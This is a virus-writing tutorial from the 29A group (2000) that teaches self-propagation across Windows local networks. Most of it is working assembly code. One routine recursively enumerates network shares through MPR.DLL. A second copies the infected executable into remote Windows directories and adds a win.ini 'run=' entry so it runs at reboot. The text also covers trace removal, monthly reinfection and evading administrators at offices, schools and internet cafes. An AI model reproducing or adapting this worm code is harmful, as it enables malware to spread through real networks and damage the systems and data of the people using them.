<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ> ßßßßßßßßßßßßßßßßßßßßßßß ³ Û Local Network Infection Û ³ ÚÄÄ ú ù þ Û Û Û Û þ ù ú ÄÄÙ ³ Û by Lord Julus / 29A Û ³ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ <ÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Foreword ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ Hello, ppl!! Here I come with another tutorial that I hope will help you discover the world of local network infection. This idea is quite old, but, as you all know me, I like to take a share of exposing even older ideas in the best way I can think of. The questions which raise here are quite forthcoming: what is a local network, why do we need to infect the local network? First question will be answered further, but the second one is suitable for a foreword, wouldn't you say so? So, besides the home computers, where do most computers exist? I will tell you: in offices, in internet-cafes and in exhibitions. And these are places where computers NEED to be linked into a network. An office is a tipical place were people need to share computer resources in order to be more efficent. It's a tipical place where data needs to be stored on secured servers that are able to backup data so that if one workstation fails nothing gets lost. It's a tipical place where people have shared folders on the server and exchange excel spreadsheets and word documents. The same thing applies for internet cafes. Here, moreso computers are linked into a network and people run executable files, most of them games, irc and email clients. Let us not forget also the school and college computer labs, where students come to learn the magic world of programming... I do hope that you already understood that a local network is a very good place for your viruses to spread and break free. What you need to bare in mind is that in most cases offices, internet cafes and exchibitions have a no floppy disk policy, which means that your code will probably not be able to fly away on a disk, but this is not our concern now. Do not forget that in the mean time offices and internet cafes are almost always on-line and what better way out than the internet door, right? Also, most offices and school labs communicate vastly via e-mail and important files need to be attached to email messages... But, I repeat, how the virus breaks free out of the local network is not our main concern here. Our problem is how can we spread our code into the local network increasing the probability that it will get out of there, or it will be kept for years on the backup tapes... Which is also a pretty neat thing to happen... So, keep this in your mind and start reading... ÚÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Credits ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÙ Let me not forget first of all to mention all the guys that inspired me in the lan infection through their work and articles! My 29A mates and all the rest that used the following technique! ÚÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Basics ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÙ Basics... Basically there are no basics in this thing... ;-) Everybody knows what a network is... It's a bunch of computers connected between them in one way or another which allow people to share resources and communicate between them. The local network is sor of a tiny internet, called intranet. Do not make a confusion between the local network and the internet. You can have local networks without internet and the other way around. In this article I will be discussing the local network spreading... ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Local network - hardware ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ It's not really our bussines to discuss the hardware of the local network, but I will just mention a few words here. Usually, in a local network we have a server. This is basically a normal computer, but with very high resources (huge and fast harddisks, huge RAM memory, etc). The server is linked to a hub. The hub is just a small device that has a defined number of sockets, which gives the number of resources (other compters or devices) that can be connected to the server. If the network is also on line, one of the sockets is taken by a router, or by another compter that acts like a firewall. All of the remaining sockets have wires that go directly to the other computers (workstations). The workstations have the wires connected into the network board in the back (it has to have 2 lights, one always on, and one flashing as info goes through the network). More or less, this is everything you will ever need to know about LANs, if you are not going to become a network administrator... So, let's move forward to the software part... ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Local network - soft representation ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ As one might expect, the local network can be accessed either using the "My Computer" icon, or the "Network neighbourhood". There you can see all the computers that are currently connected into the network. You can double click on them and see what is shared (whatever is shared has a small hand drawn over the icon). Most of the time you will only have a printer or other external device shared, but sometimes you can find the entire harddisk of the remote computer shared. Basically you can access the shared drives as if they are folders on your own workstation and this is what the LAN spreading viruses will try to use. Depending on the security level of the network, the resources might be protected by individual passwords or not. Basically what your workstation is able to "see" in the beginning is what is called the root of the network. The root of the network will always be a container. Oops! I started with the dirty talking... Let me give some definitions first: Root of network ³ ÚÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ Container1 Resource2 Container2 ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ Resource6 Resource3 Container3 ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄ¿ Resource4 Resource5 So, not only that it looks like a harddisk file system, it is exactly like a file system. So, a container is resource that has other resources in it, and a final resource has no other branches. Simplified, a resource can be a printer or another disk (hdd, floppy, cd, etc). This is, again, presented very briefly, only the basic things that we need to infect the lan. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Microsoft's LAN standard ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ As always, we are speaking about Windows viruses, right? Well... here again Microsoft comes with some very handy tools that allows our code to roam around the LAN freely... Let me give you some details on how and what does Microsoft call different things and how do they appear in the Win32 system. The thing we ought to look at is the MPR library. The MPR library is the library that you need in order to be able to roam the LAN. The file is called MPR.DLL and can be found in the system directory (SYSTEM or SYSTEM32). Your program must first load this library and get the addresses of the needed functions before it can attempt to access the LAN. There's nothing special about that, just use the LoadLibrary API and load it like any other library. Let's see a briefing of the APIs we are interested in in this tutorial: WNetOpenEnumA WNetEnumResourceA WNetTCloseEnum Unbelievable, huh? Only three apis and we can do all that? Well, you will see that it is a little tricky to program these apis, because you must use reentrant procedures that save data on stack, you need to allocate and free memory, but this will come just a little bit later on. First let's breakdown these apis: First let me discuss the NETRESOURCEA structure which is the basic structure used in the network browsing: NETRESOURCEA STRUC dwScope DW ? dwType DW ? dwDisplayType DW ? dwUsage DW ? lpLocalName DD ? lpRemoteName DD ? lpComment DD ? lpProvider DD ? NETRESOURCEA ENDS Where: dwScope - represents what kind of resource are we looking for; this value might be one of the following: RESOURCE_CONNECTED = 00000001h - a connected resource RESOURCE_GLOBALNET = 00000002h - a global network resource RESOURCE_REMEMBERED = 00000003h - a previously browsed resource dwType - represents what type of resource are we looking for; this value might be one of the following: RESOURCETYPE_ANY = 00000000 - any type RESOURCETYPE_DISK = 00000001 - disk / file RESOURCETYPE_PRINT = 00000002 - printer dwDisplayType - the way the resource is to be browsed; useless dwUsage - what is the usage of this resource? The value might be one of the following: RESOURCEUSAGE_CONNECTABLE = 00000001h - can be connected RESOURCEUSAGE_CONTAINER = 00000002h - contains other entries RESOURCEUSAGE_RESERVED = 80000000h - ??? lpLocalName - a pointer to a string that gives the local name of the network device lpRemoteName - a pointer to a string that gives the remote name of the network device lpProvider and lpComment - useless fields that give useless info Ok, this structure is very important for us. As you will see we shall have to browse the network as if we were browsing the files on a HDD and this structure will give us all the needed information. But to do this, first we have to open an enumeration handle. This is done with this function: WNetOpenEnumA( IN DWORD dwScope, IN DWORD dwType, IN DWORD dwUsage, IN LPNETRESOURCEA lpNetResource, OUT LPHANDLE lphEnum ); So, you must tell the system, what scope, what type and what usage type of resource are you looking for, you must provide a pointer to a NETRESOURCE structure to be filled in and it will return to you the handle to the enumeration. Usually when you first use this structure you begin with a NULL parameter for the lpNetResource which means the entire network is to be browsed. After you have opened the enumeration, you must start enumerating resources: WNetEnumResourceA( IN HANDLE hEnum, IN OUT LPDWORD lpcCount, OUT LPVOID lpBuffer, IN OUT LPDWORD lpBufferSize ); hEnum - the handle which was returned by WNetOpenEnum lpcCount - how many entries do you want to see? Usually you input here a big number like 0FFFFFFFFh and all entries are processed. The function will return in this field the actual number of resources that were found. lpBuffer - this is a buffer that will be filled with an array of NETRESOURCE structures. You must be sure you have enough space in this buffer. The order in which the structures are filled in is random. One will have to process each entry to be able to browse the net completely. lpBufferSize - the size of the buffer to receive data After you have finished enumerating all resources that belong to a certain enumeration, you must be sure to close the enumeration handle: WNetCloseEnum( IN HANDLE hEnum ); Ok, this was a little briefing on the apis we can use. Let's go deeper and see some code that will make you understand even better how this is done. ÚÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Code ³ À¿ ÚÙ ÀÄÄÄÄÄÄÙ First of all, I do hope that all of you are familiar with the concept of local labels. This concept is widely used by all high level languages and it means that you may have variables that have their value stored directly on the stack and everytime that procedure is called a new room is created on the stack to hold the variables. This is why you can recurse procedures (make one procedure call itself) without losing the variables values, because they are stored on the stack and the stack goes back and forth as you call or return from procedure. One very important issue here is that when you define such a procedure the common way it will result will be more or less like this: MyProc proc C var1:DWORD, var2:DWORD local v1:DWORD local v2:DWORD mov eax, var2 mov edx, v1 ret MyProc Endp And when compiled it will look like this: enter 0008, 00 mov eax, [ebp+0ch] mov edx, [ebp-04h] leave ret So, the stack looks like this before the leave: var2 = EBP + 0ch var1 = EBP + 08 = EBP + 04h EBP = = EBP + 00h v1 = EBP - 02h ESP = v2 = EBP - 04h So, you see, you cannot rely on using EBP as a delta handle because the compiler automaticaly generates instructions that use EBP for other purposes. So, you must get your delta handle in ANOTHER register than EBP! Also, remember NOT to use the delta handle for the local variables, e.g. if you have the delta into ESI DO NOT EVER say: mov edx, [esi+v1] that's a mistake! "v1" is on stack and it is manipulated directly!! Ok, this being said, let us start defining our network infection procedure. Basically what we will do, we will create an enumeration for the root of the network, and then for each resource which is a container we will open another enumeration and so on until we finish all entries. For each resource which is a disk, we will try to retrieve its name and infect it: NetInfection proc C lpnr:DWORD ; local lpnrLocal :DWORD ; local hEnum :DWORD ; local ceEntries :DWORD ; local cbBuffer :DWORD ; where: lpnr = the address of the network enumeration on entry lpnrLocal = the address of the enumeration passed as a parameter hEnum = a handle to the enumeration ceEntries = how many entries in the enumeration cbBuffer = a buffer to hold enumeration data Now we get our delta handle into register EDX: pusha ;save all regs call get_new_delta ;get delta get_new_delta: ; pop edx ; sub edx, offset get_new_delta ; And now let's initialize our local variables and try to open the enumeration: mov [ceEntries], 0FFFFFFFFh ;as many entries as poss. mov [cbBuffer], 4000 ;memory buffer size lea eax, [hEnum] ;handle to enumeration mov esi, [lpnr] ;parameter call [edx+_WNetOpenEnumA],\ ;the enumeration API RESOURCE_CONNECTED,\ ;only connected resources RESOURCETYPE_ANY, 0,\ ;any type of resource esi,\ ;where the result goes eax ;where the handle goes ; or eax, eax ;failed? jnz exit_net ; If we are here we succesfully opened the enumeration of the network resources. Now, we need memory to get all the data there so we will have to allocate some memory. I decided that 4000 bytes is more than enough: call [edx+_GlobalAlloc], GPTR, cbBuffer ;allocate memory or eax, eax ; jz exit_net ; mov [lpnrLocal], eax ;save memory handle Now we have the enumeration handle and we have the available memory to fill the data in... All we have left to do is enumerate the resources: enumerate: ; lea eax, cbBuffer ;enumerate all the push eax ;resources mov esi, [lpnrLocal] ;where is our memory? push esi ; lea eax, ceEntries ;how many entries? push eax ; push hEnum ;our enumeration handle call [edx+_WNetEnumResourceA] ; ; or eax, eax ;failed? jnz free_mem ; Ok, now, if we are here that means that our enumeration was also succesful. The number of entries in this resource tree comes into our local variable ceEntries. All we need to do is take that into a counter and loop around: mov ecx, [ceEntries] ;how many entries? or ecx, ecx ; jz enumerate ; ; roam_net: ; push ecx esi ;save them... ; mov eax, [esi.dwType] ;is it a disk resource? test eax, RESOURCETYPE_DISK ; jz get_next_entry ;if not skip (might be ;a printer or smth. else) ; mov edi, [esi.lpRemoteName] ;get remote name mov esi, [esi.lpLocalName] ;get local name or esi, esi ;empty? jz no_good_name ; ; cmp word ptr [esi],0041 ;is it a floppy disk? jz no_good_name ;("A") ; call RemoteInfection ;try to infect it! ; no_good_name: ; pop esi ; ; mov eax, [esi.dwUsage] ;do we have a container? test eax, RESOURCEUSAGE_CONTAINER ; jz get_next_entry ; Now, if we have a container, than it means that that one itself might have some other resources inside, so we can recurse this procedure by pushing on stack the ESI register which holds the address of this resource's memory area: push esi ; call NetInfection ;recurse!! When there is no other tree branch for the current resource we simply continue looking up the rest of the resources. For this we increase ESI with 20h which is the size of the network structure and we loop: get_next_entry: ; add esi, 20h ;next resource! pop ecx ; loop roam_net ; ; jmp enumerate ;and next enumeration... Of course, after we finished, or we ran out of memory we must first of all free all the memory we allocated, and then we have to close the enumeration and return from the procedure: free_mem: ; call [edx+_GlobalFree], [lpnrLocal] ;free the memory call [edx+_WNetCloseEnum], [hEnum] ;and close enumeration. ; exit_net: ; popa ; ret ; NetInfection endp ; You saw that above I made some checkings: if the name of the remote resource is valid or if it is a floppy disk than no infection occures, otherwise we call our Remote Infection procedure. Let me tell you that here one can do whatever comes into his mind... I mean, ESI holds the name of the remote computer. What more do you need? I will give you one of the many ways you can use, one which appeared in more viruses and which proves to be reliable enough. It's main idea is that if you are connected to another computer that has a Windows system on it, for sure there will exist there a folder that will contain the Windows directory... And in the windows directory we have the good old Win.Ini file which is still kept as a backward compatibility. Of course we know that almost all windows directories are called Windows, Win98, Win95, WinNT, and stuff like that. What you could do is get the windows directory on the local workstation and assume that as long as the computers are connected into a network the Windows was installed in the same way so the directory will be the same. But for the moment the method of testing various directories is pretty good (was used by Gryio in Cholera). So what you need to do is create some strings like this: \Windows\win.ini \WinNT\win.ini \Win95\win.ini \Win98\win.ini And check if you can open the win.ini file. If you can it means you found it! The next step is to copy the currently running file over the net into the windows directory. That is very easy using CopyFileA. After that you need to create an entry in the win.ini file to read like this: [Windows] (or whatever the windows dir is) run=c:\windows\file.exe And the file file.exe is the infected victim from the local computer but under another name. At the next reboot the win.ini file will launch the file called file.exe and guess what: the entire windows directory will get infected. For the user it will look kinda strange why some application automatically started running after reboot but... he will not have anything to do about it. And that's because your virus must be equiped with a cool feature (which appeares in Rammstein). Any infected victim must check in the windows directory and if it finds the file file.exe there and no entry in the win.ini file, or if there is an entry and there is no file, than it must delete the file and the entry, so there will be no trace of the traspassing files. Another interesting thing you can do is to mark in the registry of the local computer all the remote paths that have been infected and only reinfect those once a month, for example. Otherwise the network will suddenly start to slow down when all workstations are infected and they keep reinfecting eachother over and over again. In this way when all computers are infected the process of spreading stops until the next month when a new flood occurs. In this way if one of the workstations is cleaned it will get infected again. Let's see step by step how we can achieve what I explained here: First of all we will save all the registers and we can take back the delta handle into the EBP register because in this procedure we do not mess with the stack in anyway: ; RemoteInfection proc ; pusha ; call @___1 ;restore the delta handle @___1: ; pop ebp ; sub ebp, offset @___1 ; Next we need to get the name of the running file itself (the infected file), so that we can copy it over the net: push 260 ;get the current file lea eax, [ebp+myname] ;name push eax ; push 0 ; call [ebp+_GetModuleFileNameA] ; or eax, eax ; jz cannot_roam ; Now we will point the various possible Windows dir names and create the name of the dropper and the name of the win.ini file. lea esi, [ebp+windirs] ;point windows dir names ; test_paths: ; lea ebx, [ebp+droppername] ;copy path for dropper call [ebp+_lstrcpy], ebx, edi ; lea ebx, [ebp+winininame] ;copy path for win.ini call [ebp+_lstrcpy], ebx, edi ; ; lea ebx, [ebp+droppername] ;copy windows dir call [ebp+_lstrcat], ebx, esi ; lea eax, [ebp+drop] ;and dropper name call [ebp+_lstrcat], ebx, eax ; Let's assume that the windows dir on both computers is "C:\Windows" and the running file is CALC.EXE. Then we will have: droppername = "C:\Windows\file.exe" winininame = "C:\Windows\win.ini" myname = "C:\Windows\calc.exe" Now, let's copy the myname file into the droppername file: ; push TRUE ;now copy ourself over push ebx ;the LAN under the new lea eax, [ebp+myname] ;name into the remote push eax ;windows directory call [ebp+_CopyFileA] ; or eax, eax ; jz test_next ; What is left to do is to create the entry in the win.ini file that will assure us that in the next reboot the file file.exe will be executed: lea ebx, [ebp+winininame] ;copy the windows dir name call [ebp+_lstrcat], ebx, esi ;to the win.ini path lea eax, [ebp+winini] ; call [ebp+_lstrcat], ebx, eax ;and it's name ; lea eax, [ebp+winininame] ;Now create this entry push eax ;into the win.ini file: lea eax, [ebp+droppername] ; push eax ;[Windows] lea eax, [ebp+cmd] ;run=c:\windows\ramm.exe push eax ; inc esi ; push esi ; call [ebp+_WritePrivateProfileStringA] ; jmp cannot_roam ; Of course, if the dir name "Windows" was not good, our procedure has to continue searching for the rest of the windows dir names: test_next: ; @endsz ;go and try the next cmp byte ptr [esi], 0fh ;windows path! jne test_paths ; ; cannot_roam: ; popa ; ret ; Take a look also at the definition of our variables: windirs db "\Windows", 0 ; db "\WinNT" , 0 ; db "\Win" , 0 ; db "\Win95" , 0 ; db "\Win98" , 0 ; db 0fh ; ; winini db "\Win.ini" , 0 ; drop db "\file.exe", 0 ; cmd db "run" , 0 ; ; myname db 260 dup(0) ; droppername db 260 dup(0) ; winininame db 260 dup(0) ; RemoteInfection endp ; That was it!!! It is almost unbeliveable how small the code is and yet how powerful it is... Of course, for a better success you should combine the above procedure with some patching code and some hacking code. This is needed because in the raw form I presented, the code will fail if the network is protected with passwords or if no resource is shared. So, you would need to patch some files to get admin rights, but this is not what I speak about in this article... I hope this was clear enough, and I expect you to write me back if you were able to use this or if you discovered other ways more interesting, more powerful, more reliable... I wait for your e-mails on my address: lordjulus@geocities.com. ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÙ À¿ ³ Final word ³ À¿ ÚÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ In my own opinion, the spreading inside the local network is probably the next important after the internet spreading. I think that you can achieve a lot and you can have a very quick and good spreading of your code, and harder to be traced. I mean, if you infect one workstation in the school and the second day all stations are infected it will be rather difficult, unless there exists a full movement logging, for the network administrator to trace where the virus emerged. Not to speak about an Internet Cafe. I think that a LAN spreader combined with an IWorm is probably the best solution nowadays... Again, great thanks to the entire Microsoft team for creating so many ways of doing it!!!! ;-p~~~~ That's all, folks!!! Have a great time!! ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Lord Julus / 29A (2000) ³ ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÙ